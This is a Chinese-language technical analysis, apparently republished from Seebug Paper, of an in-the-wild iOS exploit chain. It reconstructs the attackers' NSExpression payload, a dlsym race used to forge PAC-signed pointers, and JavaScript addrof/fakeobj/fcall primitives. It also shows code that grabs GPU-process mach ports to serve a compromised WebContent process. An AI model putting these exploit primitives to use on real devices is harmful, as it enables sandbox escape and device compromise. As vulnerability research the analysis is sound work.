在弄清他们用于顺序表达式评估的 NSNull 技巧后,现在可以将图形展平为伪 Objective-C 代码,将 NSNull alloc NSFunctionExpression 的每个参数拆分为单独的语句:

id v_detachNewThreadWithBlock:_NSFunctionExpression = [NSNumber numberWithUnsignedLongLong:[[[NSFunctionExpression alloc] initWithTarget:@"target" selectorName:@"detachNewThreadWithBlock:" arguments:@[] ] selector] ];

这越来越接近反编译器类型的输出。它仍然有点混乱,但比图表更具可读性,并且可以在代码编辑器中重构。

帮助

这些表达式使用 NSPredicateUtilities 来进行算术和位运算。由于我们不必支持任意输入,因此可以对实现这些操作的选择器进行硬编码,并发出更具可读性的辅助函数调用:

 if selector_str == 'bitwiseOr:with:':
arg_vals = follow(o, ['NSArguments', 'NS.objects'])
s += 'set_msb(%s)' % parse_expression(arg_vals[0], depth+1)
elif selector_str == 'add:to:':
arg_vals = follow(o, ['NSArguments', 'NS.objects'])
s += 'add(%s, %s)' % (parse_expression(arg_vals[0], depth+1), parse_expression(arg_vals[1], depth+1))

这会生成如下形式的算术语句:

[v_dlsym_lock_ptrinvocation setArgument:[set_msb(add(v_OOO_dyld_dyld, @0xa0)) longLongValue] atIndex:[@0x2 longLongValue] ];

疑问

经过所有这一切,我们留下大约 1000 行某种程度上可读的伪 Objective-C 代码。他们使用了许多其他技巧来实现任意读取和写入等功能,我手动将其替换为简单的赋值语句。

此时攻击者已经处于非常有利的位置;他们可以评估任意 NSExpressions,同时禁用安全位,以便可以分配任意类和与任意类进行交互。但在这种情况下,攻击者确定能够调用任意函数,而不仅限于 Objective-C 选择器调用。

轻松做到这一点的主要障碍是 PAC(指针验证)。用于向后边缘保护(例如堆栈上的返回地址)的系列PAC密钥始终是每个进程的,但 A 系列密钥(用于向前边缘保护,例如函数指针等)曾经在所有用户空间进程中共享,这意味着用户空间任务可以伪造带有PAC的前向边缘签名指针,这在其他任务中有效。

通过对虚拟内存代码进行一些低级更改,任务现在可以使用私有的、隔离的 A 系列密钥,这意味着WebContent进程可能无法伪造其他任务(如GPU进程)的前向边缘密钥。

以前的大多数用户空间PAC失败都是为了找到一可以使用伪造的前向边缘函数指针的方法,当共享前向边缘密钥时,存在大量此类原语。内核 PAC 失败往往稍微复杂一些,通常针对竞争条件来创建签名预言机或类似原语。我们将看到攻击者从内核 PAC 的失败中获得了灵感。

使用 IMP 调用 Invocations

顾名思义,NSInvocation 封装了 Objective-C 方法调用,以便以后可以调用它。尽管在 Objective-C 中在概念上不是 "调用方法" 而是 "向对象传递消息",但实际上最终会到达实现目标对象选择器的本机代码的分支指令。还可以将这个本地代码的地址缓存为 IMP 对象(实际上只是一个函数指针)。

正如在 NSExpression 博文中概述的那样,NSInvocations 可以用于从 NSExpressions 获取指令指针控制 ,但需要注意的是必须提供一个签名的PC值。使用这个原语调用的第一个方法是 [CFPrefsSource lock] 的实现。

; void __cdecl -[CFPrefsSource lock](CFPrefsSource *self, SEL)
ADD  X0, X0, #0x34
B    _os_unfair_lock_loc

通过调用以下方法获取了此函数的签名(使用 PACIZA 签名)IMP:

id os_unfair_lock_0x34_IMP = [[CFPrefsSource alloc] methodForSelector: 
sel(lock)]

为了调用该函数,使用两个嵌套的 NSInvocations:

id invocationInner = [templateInvocation copy];
[invocationInner setTarget:(dlsym_lock_ptr - 0x34)]
[invocationInner setSelector: [@0x43434343 longLongValue]]

id invocationOuter = [templateInvocation copy];
[invocationOuter setSelector: sel(invokeUsingIMP)];
[invocationOuter setArgument: os_unfair_lock_loc_IMP atIndex: @2];

然后,在外部调用invoke,该方法通过 invokeUsingIMP: 调用了内部调用,这允许在明确不是 CFPrefsSource 对象的情况下调用 [CFPrefsSource lock] 函数实现(因为 invokeWithIMP 绕过了常规的 Objective-C 选择器到 IMP 查找过程)。

执行

接下来,他们使用相同的双调用技巧执行以下 Objective-C 调用:

[NSThread detachNewThreadWithBlock:aBlock]

将指向 CoreGraphics 库内部的指针作为块参数传递,其中包含以下主体:

 *__CGImageCreateWithPNGDataProvider_block_invoke_2()
{
  void *sym;
  if (CGLibraryLoadImageIODYLD_once != -1) {
    dispatch_once(&CGLibraryLoadImageIODYLD_once, &__block_literal_global_5_15015);
  }
  if (!CGLibraryLoadImageIODYLD_handle) {
    // 失败
  }
  sym = dlsym(CGLibraryLoadImageIODYLD_handle, "CGImageSourceGetType");

  if (!sym) {
    // 失败
  }
  CGImageCreateWithPNGDataProvider = sym;
  return sym;
}

在启动调用该块的线程之前,他们还执行两个任意写入操作,设置了:CGLibraryLoadImageIODYLD_once = -1CGLibraryLoadImageIODYLD.handle = RTLD_DEFAULT

这意味着运行该块的线程将到达以下调用:

dlsym(CGLibraryLoadImageIODYLD_handle, "CGImageSourceGetType");

然后在 dlsym 实现中阻塞,等待获取被 NSExpression 持有的锁。

休眠和重复

他们调用NSThread sleepForTimeInterval在 NSExpression 线程上休眠,以确保受害者 dlsym 线程已经启动,然后读取 libpthread::___pthread_head 的值,这是表示所有正在运行的线程的 pthread 链接列表的开头(其地址是由 JS 链接和重定位的)。

然后,使用100个 NSTernaryExpressions 的展开循环遍历该链接列表,查找最后一个条目(具有空 pthread.next 字段),这是最近启动的线程。

使用 pthread 结构的硬编码偏移量查找线程的堆栈,并创建一个包含了 dlsym 线程堆栈第一页的 NSData 对象:

id v_stackData = [NSData dataWithBytesNoCopy:[set_msb(v_stackEnd) longLongValue] length:[@0x4000 longLongValue] freeWhenDone:[@0x0 longLongValue]];

回想一下之前我们在 dlsym 片段中看到的这段代码:

// dlsym() assumes symbolName passed in is same as in C source code
// dyld assumes all symbol names have an underscore prefix
BLOCK_ACCCESSIBLE_ARRAY(char, underscoredName, strlen(symbolName) + 2);
underscoredName[0] = '_';
strcpy(&underscoredName[1], symbolName);

BLOCK_ACCESSIBLE_ARRAY 实际上是创建了一个类似 alloca 的本地堆栈缓冲区,以在符号名称前添加下划线,这解释了为什么 NSExpression 代码在接下来执行以下操作:

[v_stackData rangeOfData:@"b'_CGImageSourceGetType'" options:[@0x0 longLongValue] range:[@0x0 longLongValue] [@0x4000 longLongValue]]

这将返回一个 NSRange 对象,定义了字符串 CGImageSourceGetType 出现在堆栈页面上的位置。CGImageSourceGetType是传递给dlsym的硬编码字符串(并且在只读内存中是固定的)。

然后,NSExpression 计算线程堆栈上该字符串的绝对地址,并使用 NSData getBytes:length:将包含字符串_dlsym\0\0的 NSData 对象的内容写入受阻的 dlsym 线程 CGImageSourceGetType字符串的开头。

解锁并继续

使用之前的技巧来锁定(但这次使用CFPrefsSource unlock的 IMP),他们解锁了阻塞 dlsym 线程的全局锁。这导致块继续执行dlsym 完成后,返回一个经 PACIZA 签名的 dlsym 函数指针,而不是 CGImageSourceGetType。

然后,该块将该调用的返回值分配给 dlsym 的全局变量:

CGImageCreateWithPNGDataProvider = sym;

NSExpression 再次调用 sleepForTimeInterval 以确保块已完成,然后读取该全局变量以获得经签名的 dlsym 函数指针。

值得注意的是,正如 Samuel Gro在他的 iMessage 远程攻击解析 中所记录的那样,以前存在 Objective-C 方法,比如 CNFileServices dlsym:,直接提供了调用 dlsym 并获取 PACIZA 签名函数指针的功能。

凭借签名的 dlsym 指针,使用嵌套调用技巧调用 dlsym 22 次以获得 22 个经签名的函数指针,将它们分配给变量:

#define f_def(v_index, sym) \\
id v_symInvocation = [v_templateInvocation copy];
[v_#sym#Invocation setTarget:[@0xfffffffffffffffe longLongValue] ];
[v_#sym#Invocation setSelector:[@"sym" UTF8String] ];
id v_#sym#InvocationIMP = [v_templateInvocation copy];
[v_#sym#InvocationIMP setSelector:[v_invokeUsingIMP:_NSFunctionExpression longLongValue] ];
[v_writeInvocationName setSelector:[v_dlsymPtr longLongValue] ];
[v_writeInvocationName getArgument:[set_msb([NSNumber numberWithUnsignedLongLong:[v_intermediateAddress bytes] ]) longLongValue] atIndex:[@0x1 longLongValue] ];
[v_#sym#InvocationIMP setArgument:[set_msb([NSNumber numberWithUnsignedLongLong:[v_intermediateAddress bytes] ]) longLongValue] atIndex:[@0x2 longLongValue] ];
[v_#sym#InvocationIMP setTarget:v_symInvocation ];
[v_#sym#InvocationIMP invoke];
id v_#sym#____converted = [NSNumber numberWithUnsignedLongLong:[@0xaaaaaaaaaaaaaaa longLongValue] ];
[v_#sym#Invocation getReturnValue:[set_msb(add([NSNumber numberWithUnsignedLongLong:v_#sym#____converted ], @0x10)) longLongValue] ];
id v_#sym# = v_#sym#____converted;
id v_#index = v_#sym;
}
f_def(0, syscall)
f_def(1, task_self_trap)
f_def(2, task_get_special_port)
f_def(3, mach_port_allocate)
f_def(4, sleep)
f_def(5, mach_absolute_time)
f_def(6, mach_msg)
f_def(7, mach_msg2_trap)
f_def(8, mach_msg_send)
f_def(9, mach_msg_receive)
f_def(10, mach_make_memory_entry)
f_def(11, mach_port_type)
f_def(12, IOMainPort)
f_def(13, IOServiceMatching)
f_def(14, IOServiceGetMatchingService)
f_def(15, IOServiceOpen)
f_def(16, IOConnectCallMethod)
f_def(17, open)
f_def(18, sprintf)
f_def(19, printf)
f_def(20, OSSpinLockLock)
f_def(21, objc_msgSend)

另一种方式

仍然不满足于能够从 NSExpressions 调用任意(已导出、命名)函数,攻击现在采取了另一个方式,通过创建一个 JSContext 对象来评估嵌入在 NSExpression 中的字符串中的 JavaScript 代码:

id v_JSContext = [[JSContext alloc] init];
[v_JSContext evaluateScript:@"function hex(b){return(\"0\"+b.toString(16)).substr(-2)}function hexlify(bytes){var res=[];for(var i=0..." ];

攻击评估了三个不同的脚本,这些脚本都在相同的上下文中执行:

JS 1

第一个脚本定义了一组对许多 JS 引擎漏洞利用非常常见的实用类型和函数。例如,它定义了一个 Struct 类型:

javascriptCopy codeconst Struct = function() {
  var buffer = new ArrayBuffer(8);
  var byteView = new Uint8Array(buffer);
  var uint32View = new Uint32Array(buffer);
  var float64View = new Float64Array(buffer);
  return {
    pack: function(type, value) {
      var view = type;
      view[0] = value;
      return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
    },
    unpack: function(type, bytes) {
      if (bytes.length !== type.BYTES_PER_ELEMENT) throw Error("Invalid bytearray");
      var view = type;
      byteView.set(bytes);
      return view[0];
    },
    int8: byteView,
    int32: uint32View,
    float64: float64View
  }
}();

大部分代码用于自定义完整功能 Int64 类型。

最后,定义了两个非常有用的帮助函数: addroffakeobj,以及一个 read64() 原语:

javascriptCopy codefunction addrof(obj) {
  addrof_obj_ary[0] = obj;
  var addr = Int64.fromDouble(addrof_float_ary[0]);
  addrof_obj_ary[0] = null;
  return addr
}

function fakeobj(addr) {
  addrof_float_ary[0] = addr.asDouble();
  var fake = addrof_obj_ary[0];
  addrof_obj_ary[0] = null;
  return fake
}

function read64(addr) {
  read64_float_ary[0] = addr.asDouble();
  var tmp = "";
  for (var it = 0; it < 4; it++) {
    tmp = ("000" + read64_str.charCodeAt(it).toString(16)).slice(-4) + tmp
  }
  var ret = new Int64("0x" + tmp);
  return ret
}

当然,这些原语实际上不起作用。它们是基于 JS 引擎漏洞构建的标准原语,例如 JIT 编译器错误,但这里没有正在利用的漏洞。相反,在评估了这个脚本后,NSExpression 使用JSContext objectForKeyedSubscript方法来查找这些原语使用的全局对象,并直接破坏类似 addrof 和 fakeobj 的底层对象,以便使它们起作用。

这为三个脚本中的第二个脚本的运行奠定了基础。

JS 2

在第二个脚本中,它使用了被损坏的 addrof_* 数组来构建 write64 原语,然后声明了以下字典:

var all_function = {
  syscall: 0n,
  mach_task_self: 1n,
  task_get_special_port: 2n,
  mach_port_allocate: 3n,
  sleep: 4n,
  mach_absolute_time: 5n,
  mach_msg: 6n,
  mach_msg2_trap: 7n,
  mach_msg_send: 8n,
  mach_msg_receive: 9n,
  mach_make_memory_entry: 10n,
  mach_port_type: 11n,
  IOMainPort: 12n,
  IOServiceMatching: 13n,
  IOServiceGetMatchingService: 14n,
  IOServiceOpen: 15n,
  IOConnectCallMethod: 16n,
  open: 17n,
  sprintf: 18n,
  printf: 19n
};

这些与 NSExpression 通过 dlsym 查找的前 20 个符号完全匹配。

他们为每个符号定义一个 JS 封装,如用于 task_get_special_port 的封装如下:

function task_get_special_port(task, which_port, special_port) {
    return fcall(all_function["task_get_special_port"], task, which_port, special_port)
}

声明了两个 ArrayBuffer,一个命名为 lock,另一个命名为 func_buffer

javascriptCopy codevar lock = new Uint8Array(32);
var func_buffer = new BigUint64Array(24);

使用 read64 原语将这些缓冲区的地址存储到另外两个变量中,然后将 lock 缓冲区的第一个字节设置为 1:

var lock_addr = read64(addrof(lock).add(16)).noPAC().asDouble();
var func_buffer_addr = read64(addrof(func_buffer).add(16)).noPAC().asDouble();
lock[0] = 1;

然后,它定义了定义 JS 包装器用来调用本机符号的 fcall 函数

function fcall(func_idx,
      x0 = 0x34343434n, x1 = 1n, x2 = 2n, x3 = 3n,
      x4 = 4n, x5 = 5n, x6 = 6n, x7 = 7n,
      varargs = [0x414141410000n,
                 0x515151510000n,
                 0x616161610000n,
                 0x818181810000n])
{
  if (typeof x0 !== "bigint") x0 = BigInt(x0.toString());
  if (typeof x1 !== "bigint") x1 = BigInt(x1.toString());
  if (typeof x2 !== "bigint") x2 = BigInt(x2.toString());
  if (typeof x3 !== "bigint") x3 = BigInt(x3.toString());
  if (typeof x4 !== "bigint") x4 = BigInt(x4.toString());
  if (typeof x5 !== "bigint") x5 = BigInt(x5.toString());
  if (typeof x6 !== "bigint") x6 = BigInt(x6.toString());
  if (typeof x7 !== "bigint") x7 = BigInt(x7.toString());
  let sanitised_varargs =
    varargs.map(
      (x => typeof x !== "bigint" ? BigInt(x.toString()) : x));
  func_buffer[0] = func_idx;
  func_buffer[1] = x0;
  func_buffer[2] = x1;
  func_buffer[3] = x2;
  func_buffer[4] = x3;
  func_buffer[5] = x4;
  func_buffer[6] = x5;
  func_buffer[7] = x6;
  func_buffer[8] = x7;
  sanitised_varargs.forEach(((x, i) => {
    func_buffer[i + 9] = x
  }));
  lock[0] = 0;
  lock[4] = 0;
  while (lock[4] != 1);
  return new Int64("0x" + func_buffer[0].toString(16))
}

这个函数将每个参数强制转换为 BigInt,然后使用要调用的函数索引填充 func_buffer,接着依次填充每个参数。它会清除 ArrayBuffer 锁中的两个字节,然后等待其中一个变为 1,再读取返回值,而有效地实现了自旋锁。

然而,JS 2 并未调用 fcall。现在,我们将返回到 NSExpression 中,以分析那个 ArrayBuffer "共享内存" 函数调用原语的另一侧。

后台

在 JS 2 被评估后,NSExpression 再次使用 [JSContext objectForKeyedSubscript:] 方法读取 lock_addrfunc_buffer_addr 变量。

然后,它创建另一个 NSInvocation,但这一次,它将 NSInvocation 的目标设置为 NSExpression;将选择器设置为 expressionValueWithObject:,将第二个参数设置为包含在 NSExpression 中定义的变量的上下文字典。然后,它调用 performSelectorInBackground:sel(invoke),导致序列化对象的一部分在不同的线程中进行评估。

循环构建

NSExpressions 不太适合构建循环原语。之前我们已经看到遍历 pthreads 链表的循环只是被展开了 100 次。他们使用以下结构:

构建了一个树,其中每个子级都通过具有指向同一表达式的两个参数来进行两次评估。在这个树的底部,我们找到了实际的循环体。有 33 个这样的倍增节点,这意味着循环体将被评估 2^33 次,实际上就是一个 while(1) 循环。

看看这个循环的主体:

[v_OSSpinLockLockInvocationInstance
  setTarget:[v_functions_listener_lock longLongValue]];

[v_OSSpinLockLockInvocationInstance
  setSelector:[@0x43434343 longLongValue]];

[v_OSSpinLockLockInvocationInstanceIMP
  setTarget:v_OSSpinLockLockInvocationInstance];

[v_OSSpinLockLockInvocationInstanceIMP invoke];

其中 v_functions_listener_lock 是包含 "自旋锁" 的 ArrayBuffer 的后备缓冲区的地址,JS 在将所有函数调用参数写入 func_buffer ArrayBuffer 后会将其解锁。这将调用 OSSpinLockLock 来锁定该锁。

NSExpression 从 func_buffer ArrayBuffer 后备缓冲区中读取函数索引,然后读取 19 个参数槽,将每个 64 位值写入到 NSInvocation 的相应槽中(目标、选择器、参数)。然后,他们将函数索引转换为字符串,并在存储了所有 NSExpression 变量的上下文字典中调用valueForKey 找到具有给定数字字符串名称的变量(其中定义了一个名为 "0" 的变量,存储了 PACIZA 化指向 "syscall" 的指针)。

使用双重调用的技巧来调用目标函数,然后从 NSInvocation 中提取返回值并将其写入 func_buffer

[v_serializedInvName getReturnValue:[set_msb(v_functions_listener_buffer) longLongValue]];

最后,循环体以对自旋锁的任意写操作结束,允许旋转的 JS 继续运行并从 ArrayBuffer 中读取函数调用结果。

然后回到主NSExpression 线程,它在它在同一个 JSContext 中评估最后一块 JS:

JS3

与 JS1 和 2 以及 NSExpression 不同,JS3 被剥离和部分混淆,但通过一些分析,大部分名称可以恢复。例如,脚本首先定义了一些常量 - 这些常量实际上来自一些系统头文件,值按照系统头文件的顺序出现:

//WebKit::GPUProcess::GPUProcess
var WebKit::GPUProcess::GPUProcess =
  new Int64("0x0a1a0a1a0a2a0a2a");

// offset of m_webProcessConnections HashMap in GPUProcess
var offset_of_m_webProcessConnections =
  new Int64("0x0a1a0a1a0a2a0a2b"); // 136

// offset of IPC::Connection m_connection in GPUConnectionToWebProcess
var offset_of_m_connection_in_GPUConnectionToWebProcess =
  new Int64("0x0a1a0a1a0a2a0a2c"); // 48

// offset of m_sendPort
var offset_of_m_sendPort_in_IPC_Connection = new Int64("0x0a1a0a1a0a2a0a2d"); // 280

代码首先使用从外部 RCE JS 传入的一些符号来查找存储 WebContent 到 GPU 进程 IPC 实现的 mach 端口的 HashMap:

// 查找 m_webProcessConnections HashMap:
var m_webProcessConnections =
  read64(WebKit::GPUProcess::GPUProcess.add(
           offset_of_m_webProcessConnections)).noPAC();

遍历该 HashMap 中的所有条目,以收集表示所有 GPU 进程到 WebContent IPC 连接的 mach 端口:

codevar entries_cnt = read64(m_webProcessConnections.sub(8)).hi().asInt32();
var GPU_to_WebProcess_send_ports = [];

for (var he = 0; he < entries_cnt; he++) {
  var hash_map_key = read64(m_webProcessConnections.add(he * 16));
  if (hash_map_key.is0() || hash_map_key.equals(const_int64_minus_1)) {
    continue;
  }

  var GPUConnectionToWebProcess =
    read64(m_webProcessConnections.add(he * 16 + 8));

  if (GPUConnectionToWebProcess.is0()) {
    continue;
  }

  var m_connection =
    read64(
      GPUConnectionToWebProcess.add(
        offset_of_m_connection_in_GPUConnectionToWebProcess));

  var m_sendPort =
    BigInt(read64(
      m_connection.add(
        offset_of_m_sendPort_in_IPC_Connection)).lo().asInt32());

  GPU_to_WebProcess_send_ports.push(m_sendPort);
}

然后分配一个新的 mach 端口,迭代每个 GPU 进程到 WebContent 连接端口,向每个进程发送一条 mach 消息,其中包含一个端口描述符,其中包含新分配端口的发送权:

for (let WebProcess_send_port of GPU_to_WebProcess_send_ports) {
  for (let _ = 0; _ < d; _++) {
    // 清零消息
    for (let e = 0; e < msg.byteLength; e++) {
      msg.setUint8(e, 0);
    }

    // 复杂消息
    hello_msg.header.msgh_bits.set(
      msg, MACH_MSG_TYPE_COPY_SEND | MACH_MSGH_BITS_COMPLEX, 0);

    // 发送到 Web 进程
    hello_msg.header.msgh_remote_port.set(
      msg, WebProcess_send_port, 0);

    hello_msg.header.msgh_size.set(msg, hello_msg.__size, 0);

    // 一个描述符
    hello_msg.body.msgh_descriptor_count.set(
      msg, 1, hello_msg.header.__size);

    // 发送权限到 comm 端口:
    hello_msg.communication_port.name.set(
      msg, comm_port_receive_right,
      hello_msg.header.__size + hello_msg.body.__size);

    // 给对方一个发送权限
    hello_msg.communication_port.disposition.set(
      msg, MACH_MSG_TYPE_MAKE_SEND,
      hello_msg_buffer.header.__size + hello_msg.body.__size);

    hello_msg.communication_port.type.set(
      msg, MACH_MSG_PORT_DESCRIPTOR,
      hello_msg.header.__size + hello_msg.body.__size);

    msg.setBigUint64(hello_msg.data.offset, BigInt(_), true);

    // 发送请求
    kr = mach_msg_send(u8array_backing_ptr(msg));
    if (kr != KERN_SUCCESS) {
      continue;
    }
  }
}

需要注意的是,除了不得不使用 ArrayBuffers 而不是指针之外,这看起来几乎像是在 C 中编写的,并执行真正的任意本地代码。但正如我们已经看到的,在对 mach_msg_send 的简单调用之后隐藏着大量的复杂性。

然后,JS 尝试接收 hello 消息的回复,如果成功,则假定已经找到了通过 GPU 进程攻击的 WebContent 进程,并正在等待 GPU 进程攻击成功。

现在,我们最终接近了本文的最后阶段。

最后的循环

在与运行在 WebContent 进程中的本地代码建立了新的通信通道后,JS 进入了一个无限循环,等待处理请求:

codefunction handle_comms_with_compromised_web_process(comm_port) {
  var kr = KERN_SUCCESS;
  let request_msg = alloc_message_from_proto(req_proto);
  while (true) {
    for (let e = 0; e < request_msg.byteLength; e++) {
      request_msg.setUint8(e, 0)
    }

    req_proto.header.msgh_local_port.set(request_msg, comm_port, 0);
    req_proto.msgh_size.set(request_msg, req_proto.__size, 0);

    // 获取请求
    kr = mach_msg_receive(u8array_backing_ptr(request_msg));

    if (kr != KERN_SUCCESS) {
      return kr
    }

    let msgh_id = req_proto.header.msgh_id.get(request_msg, 0);

    handle_request_from_web_process(msgh_id, request_msg)
  }
}

最终,整个过程将通过提供 9 个新的由 JS 实现的 IPC(msgh_id 值从 0 到 8)来达到高潮。

IPC 0

仅发送包含 KERN_SUCCESS 的回复消息。

IPC 1 - 4

这些与 AppleM2ScalerCSCDriver 用户客户端交互,可能触发内核漏洞。

IPC 5

包装了 io_service_open_extended,接受服务名称和连接类型。

IPC 6

接受一个地址和大小,并创建一个覆盖请求的区域的 VM_PROT_READ | VM_PROT_WRITE mach_memory_entry,通过端口描述符返回。

IPC 7

此 IPC 提取并返回所请求的 mach 端口名称,使用 MOVE_SEND 处理。

IPC 8

仅调用 exit 系统调用,可能是为了干净地终止进程。如果失败,它会导致 NULL 指针解引用来使进程崩溃:

code  case request_id_const_8: {
    syscall(1, 0);
    read64(new Int64("0x00000000"));
    break
  }

结论

无疑,此漏洞分析过程较为复杂(发现和利用漏洞的困难正在增加),但这个漏洞利用的核心的缓冲区溢出漏洞并不复杂,它是编程语言中众所周知的一个反模式,其安全漏洞已被研究了数十年。攻击者相对容易发现这个漏洞。

在对这个漏洞分析的过程中发现,较为复杂的部分主要体现在后期,也就是将这个IPC漏洞与下一个链中的IPC漏洞进行结合。我认为攻击者之所以在这个部分投入了如此多的时间和精力,是因为对漏洞的分析利用可复用。

其中真正产生影响的是关注基本原理:早期设计和代码审查,广泛的测试和代码质量。这个漏洞是不到两年前引入的 ,作为一个行业,我们至少应该致力于确保新代码经过类似缓冲区溢出这样的众所周知的漏洞的审核,我们仍有很长的路要走。


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/3059/


文章来源: https://paper.seebug.org/3059/
如有侵权请联系:admin#unsafe.sh